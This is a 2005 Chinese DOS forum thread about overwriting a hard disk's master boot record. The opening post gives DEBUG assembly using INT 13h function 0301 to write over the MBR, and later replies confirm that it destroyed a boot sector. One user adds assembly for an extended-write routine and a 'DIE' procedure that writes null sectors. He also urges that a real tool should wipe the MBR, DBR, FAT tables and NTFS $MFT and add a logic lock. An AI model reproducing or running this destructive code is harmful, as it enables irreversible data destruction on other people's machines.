| 
 
bagpipe 
银牌会员
 
      DOS联盟捡破烂的
  
 
积分 1144 
发帖 425 
注册 2005-10-20 来自 北京 
状态 离线
 | 
『楼 主』:
 破坏硬盘主引导扇区(不知道在哪里找的,这个应该不错 )
 
使用 LLM 解释/回答一下
  
方法是运行debug,然后输入: 
a 100 
mov ax,301  
mov bx,1000 
mov cx,1 
mov dx,80 
int 13 
g=100 10e 
 
      不知道这段代码灵不灵,偶没敢试验,偶怕,偶胆小,偶 ... ...希望有胆量的兄弟试验完告诉我下结果就OK了,偶这里先谢过了,不过上面的代码如果真的有这么厉害的话,还请各位不要在别人的机器上瞎试验! 
 
    
 
  
 |   
 | 
  2005-11-15 09:04 | 
  
 | 
 | 
 
220110 
荣誉版主
 
       
 
  
 
积分 718 
发帖 313 
注册 2005-9-26 
状态 离线
 | 
 | 
  2005-11-15 18:54 | 
  
 | 
 | 
 
JonePeng 
金牌会员
 
       D◎$ Fαп
  
 
积分 4562 
发帖 1883 
注册 2004-1-19 来自 广东广州 
状态 离线
 | 
『第 3 楼』:
 
 
使用 LLM 解释/回答一下
  
2楼的兄弟,最后一行的指令不是这样执行的。应该在图上的那 320C:010E 一处直接按回车,使它返回“-”的状态,然后再运行那条指令。 
 
    
 
  
  |  
                  
  
                    ----====≡≡≡≡ 我的至爱,永远是MSDOS!≡≡≡≡====---- 
    |   
 | 
  2005-11-15 19:37 | 
  
 | 
 | 
 
220110 
荣誉版主
 
       
 
  
 
积分 718 
发帖 313 
注册 2005-9-26 
状态 离线
 | 
『第 4 楼』:
 
 
使用 LLM 解释/回答一下
  
的确有问题出现! 
我按小JONG指正,用超级DOS71试了下,跟着整个虚拟机自动关掉。 
现在再试试把FREEDOS安装到虚拟硬盘试试。 
 
    
 
  
 |   
 | 
  2005-11-15 21:31 | 
  
 | 
 | 
 
220110 
荣誉版主
 
       
 
  
 
积分 718 
发帖 313 
注册 2005-9-26 
状态 离线
 | 
 | 
  2005-11-15 22:23 | 
  
 | 
 | 
 
skiyfile 
初级用户
 
  
 
  
 
积分 133 
发帖 16 
注册 2004-11-25 
状态 离线
 | 
 | 
  2005-11-16 17:48 | 
  
 | 
 | 
 
JonePeng 
金牌会员
 
       D◎$ Fαп
  
 
积分 4562 
发帖 1883 
注册 2004-1-19 来自 广东广州 
状态 离线
 | 
『第 7 楼』:
 
 
使用 LLM 解释/回答一下
  
汗 ||| 
又一个破坏硬盘的炸弹?! 
 
    
 
  
  |  
                  
  
                    ----====≡≡≡≡ 我的至爱,永远是MSDOS!≡≡≡≡====---- 
    |   
 | 
  2005-11-16 21:11 | 
  
 | 
 | 
 
220110 
荣誉版主
 
       
 
  
 
积分 718 
发帖 313 
注册 2005-9-26 
状态 离线
 | 
 | 
  2005-11-16 22:16 | 
  
 | 
 | 
 
bagpipe 
银牌会员
 
      DOS联盟捡破烂的
  
 
积分 1144 
发帖 425 
注册 2005-10-20 来自 北京 
状态 离线
 | 
『第 9 楼』:
 
 
使用 LLM 解释/回答一下
  
兄弟们,我靠,真把硬盘引导扇区给干掉了,不妙,不妙啊,220110 &JonePeng 
兄加我下,OK? 
 
    
 
  
 |   
 | 
  2005-11-17 09:11 | 
  
 | 
 | 
 
不得不爱 
超级版主
 
          我爱DOS
  
 
积分 5310 
发帖 2044 
注册 2005-9-26 来自 四川南充 
状态 离线
 | 
 | 
  2005-11-17 10:57 | 
  
 | 
 | 
 
220110 
荣誉版主
 
       
 
  
 
积分 718 
发帖 313 
注册 2005-9-26 
状态 离线
 | 
『第 11 楼』:
 
 
使用 LLM 解释/回答一下
  
====================220110声明==================== 
本人在此所有贴子,完全出于对技术的追求,和大家共同学习,并对道德等等方 
面的一切不以考虑——本人不想戴着枷锁跳舞,如被某某所采用以致的一切后果, 
本人概不负责! 
====================220110声明==================== 
 
 
 
以下引用自《硬盘保护技术手册》: 
 
INT 13H用法: 
BIOS 13H中断调用,功能02H----将一个或多个扇区读到缓冲区 
输入:	AH=02H 
	AL=要读取的扇区数目 
	BX=缓冲区的位址偏移量 
	CH=磁道号码 
	CL=扇区号码 
	DH=磁头号码 
	DL=驱动器号码 
	ES=缓冲区分段地址 
	(ES:BX=缓冲区地址) 
输出:进位标志=0:读取成功(AH=0) 
      进位标志=1:错误发生(AH=显示误码) 
 
 
;读取硬盘的MBR扇区(0201h !) 
-A 100		;表示由100H开始输入程序 
mov ax,0201h	;设为读取第一扇区  
mov bx,0200h	;读入到0200H首地址 
mov cx,0001h	;读取CYLINDER 0 SECTOR 1 
mov dx,0080h	;HEAD 0  DRIVE 80H 
int 13 
-G		;执行程序 
 
 
;写入硬盘的MBR扇区(0301h !) 
mov ax,0301h	 
mov bx,0200h 
mov cx,0001h 
mov dx,0080h 
int 13 
 
 Last edited by 220110 on 2005-11-17 at 17:35 ] 
 
    
 
  
 |   
 | 
  2005-11-17 17:34 | 
  
 | 
 | 
 
220110 
荣誉版主
 
       
 
  
 
积分 718 
发帖 313 
注册 2005-9-26 
状态 离线
 | 
『第 12 楼』:
 
 
使用 LLM 解释/回答一下
  
Originally posted by qwe1234567 at 2005-11-17 10:57: 
黑白图象就不要用JPG文件发附件嘛,浪费空间嘛!我帮你改为GIF文件!  
谢谢qwe1234567,我还真不是很了解各种扩展名的图片格式呢。  :>得再学习……  
 
    
 
  
 |   
 | 
  2005-11-17 17:37 | 
  
 | 
 | 
 
darkradx 
高级用户
 
    
 
  
  
积分 972 
发帖 420 
注册 2004-5-16 
状态 离线
 | 
    『第 13 楼』:
 
 
使用 LLM 解释/回答一下
  
_EINT13_WRITE PROC NEAR 
		PUSH BP 
		MOV BP,SP 
		PUSH CX 
		PUSH SI 
		XOR SI,SI 
		PUSH SI 
		PUSH SI 
		PUSH DX 
		PUSH AX 
		PUSH ES 
		PUSH BX 
		PUSH AX 
		MOV AX,CX 
		MOV CX,0008h 
		SHR AX,CL 
		AND AX,003Fh 
		MOV CX,AX 
		POP AX 
		PUSH CX 
		MOV SI,0010h 
		PUSH SI 
		MOV SI,SP 
		PUSH AX 
		PUSH DX 
		MOV AX,4300h 
		MOV DX,[BP-0002h] 
		XOR DH,DH 
		INT 13h 
		POP DX 
		POP AX 
		MOV SI,[BP-0004h] 
		MOV CX,[BP-0002h] 
		MOV SP,BP 
		POP BP 
		RETN 
_EINT13_WRITE ENDP 
 
    
 
 
 
  
  |  
                  
  
                    平生进退如飙风 |   
 | 
  2005-11-17 17:50 | 
  
 | 
 | 
 
darkradx 
高级用户
 
    
 
  
  
积分 972 
发帖 420 
注册 2004-5-16 
状态 离线
 | 
『第 14 楼』:
 
 
使用 LLM 解释/回答一下
  
DIE PROC NEAR 
		PUSH BX 
		PUSH CX 
		MOV BX,OFFSET _null_sectors 
		MOV CX,3F80h 
		;CALL _EINT13_READ		;DEBUG 
		CALL _EINT13_WRITE 
		POP CX 
		POP BX 
		RETN 
DIE ENDP 
 
    
 
  
  |  
                  
  
                    平生进退如飙风 |   
 | 
  2005-11-17 17:53 | 
  
 | 
 | 
 
darkradx 
高级用户
 
    
 
  
  
积分 972 
发帖 420 
注册 2004-5-16 
状态 离线
 | 
『第 15 楼』:
 
 
使用 LLM 解释/回答一下
  
破壞MBR很好修復,推薦PTD, 
JMFIX,PR都太弱了...... 
 
但是若自己要寫程序, 
一定要MBR,DBR,FAT1,FAT2,$MFT,$MFTMirr全干掉, 
而且順便來個邏輯鎖才行啊, 
否則都沒臉拿出去見人 
 
當然,程序跨越不了8.4G也不用拿出來了 
 
 Last edited by darkradx on 2005-11-17 at 17:59 ] 
 
    
 
  
  |  
                  
  
                    平生进退如飙风 |   
 | 
  2005-11-17 17:57 | 
  
 |